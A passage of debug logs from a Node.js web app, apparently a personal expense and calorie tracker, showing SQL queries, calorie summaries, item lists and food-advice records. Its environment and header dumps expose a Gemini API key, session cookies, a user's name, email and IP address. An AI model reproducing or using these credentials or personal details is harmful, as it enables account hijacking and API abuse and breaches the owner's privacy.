    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T11:15:38.111Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '711',
    surplus_or_deficit: '1689',
    status_flag: 2
  }
]
2025-12-13T12:04:45.794Z server-connect:router Serving templateView /
2025-12-13T12:04:45.794Z server-connect:app Executing action step identify
2025-12-13T12:04:45.794Z server-connect:app options: { provider: 'security' }
2025-12-13T12:04:45.794Z server-connect:output identity: 1
2025-12-13T12:04:45.794Z server-connect:app Executing action step restrict
2025-12-13T12:04:45.794Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T12:04:45.796Z server-connect:output restrict: undefined
2025-12-13T12:04:45.796Z server-connect:app Executing action step restrict
2025-12-13T12:04:45.797Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T12:04:45.797Z server-connect:output restrict: undefined
2025-12-13T12:04:45.797Z server-connect:router Render template layouts/main
2025-12-13T12:04:45.797Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '157.48.248.188',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.248.188',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '157.48.248.188',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-13T12:04:47.135Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T12:04:47.136Z server-connect:app Executing action step identify
2025-12-13T12:04:47.136Z server-connect:app options: { provider: 'security' }
2025-12-13T12:04:47.136Z server-connect:output identity: 1
2025-12-13T12:04:47.137Z server-connect:app Executing action step restrict
2025-12-13T12:04:47.137Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:04:47.137Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T12:04:47.138Z server-connect:output restrict: undefined
2025-12-13T12:04:47.138Z server-connect:app Executing action step single
2025-12-13T12:04:47.138Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T12:04:47.138Z server-connect:app Executing action step identify
2025-12-13T12:04:47.138Z server-connect:app options: { provider: 'security' }
2025-12-13T12:04:47.139Z server-connect:output identity: 1
2025-12-13T12:04:47.139Z server-connect:app Executing action step restrict
2025-12-13T12:04:47.139Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:04:47.140Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T12:04:47.141Z server-connect:output restrict: undefined
2025-12-13T12:04:47.141Z server-connect:app Executing action step select
2025-12-13T12:04:47.141Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T12:04:47.149Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T12:04:57.247Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T12:04:57.247Z server-connect:app Executing action step identify
2025-12-13T12:04:57.248Z server-connect:app options: { provider: 'security' }
2025-12-13T12:04:57.248Z server-connect:output identity: 1
2025-12-13T12:04:57.248Z server-connect:app Executing action step restrict
2025-12-13T12:04:57.248Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T12:04:57.248Z server-connect:output restrict: undefined
2025-12-13T12:04:57.248Z server-connect:router Render template calorie-tracker
2025-12-13T12:04:57.249Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '157.48.248.188',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.188',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '157.48.248.188',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T12:04:57.593Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T12:04:57.594Z server-connect:app Executing action step identify
2025-12-13T12:04:57.594Z server-connect:app options: { provider: 'security' }
2025-12-13T12:04:57.594Z server-connect:output identity: 1
2025-12-13T12:04:57.594Z server-connect:app Executing action step restrict
2025-12-13T12:04:57.594Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:04:57.596Z server-connect:output restrict: undefined
2025-12-13T12:04:57.597Z server-connect:app Executing action step single
2025-12-13T12:04:57.597Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T12:04:57.598Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T12:04:57.598Z server-connect:app Executing action step select
2025-12-13T12:04:57.598Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T12:04:57.600Z server-connect:output item_list: [
  {
    id: 371,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'Black coffee,Water',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
  },
  {
    id: 372,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Paneer',
    calories: 145,
    protein_gm: 9,
    carbs_gm: 2,
    fat_gm: 11,
    quantity: '50 gm',
    replacements: 'Low-fat paneer (reduced fat content, fewer calories),Tofu (lower fat, good protein),Chicken breast (lean protein, low fat),Egg whites (pure protein, no fat),Greek yogurt (high protein, often low fat)',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
  },
  {
    id: 373,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Sugar Tea',
    calories: 102,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 4,
    quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Tea with artificial sweetener (e.g., stevia, sucralose),Tea with skim milk or low-fat milk (reduced calories, fat),Tea with less sugar or no sugar',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 3,
    skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
  },
  {
    id: 374,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 2,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: "1 cup (approx 200ml, assuming 75ml full-fat cow's milk and 125ml brewed black tea)",
    replacements: 'Tea with skim milk or low-fat milk,Black tea or green tea (zero calories),Herbal tea',
    created_at: '2025-12-13T01:32:31.000Z',
    skip_level: 1,
    skip_reason: 'Milk tea without sugar is a generally good choice, especially for someone with your activity level and muscle development goals. Milk provides essential protein and calcium, beneficial for muscle repair and bone health. By skipping sugar, you avoid empty calories and added sugars, making it a much healthier beverage choice.'
  },
  {
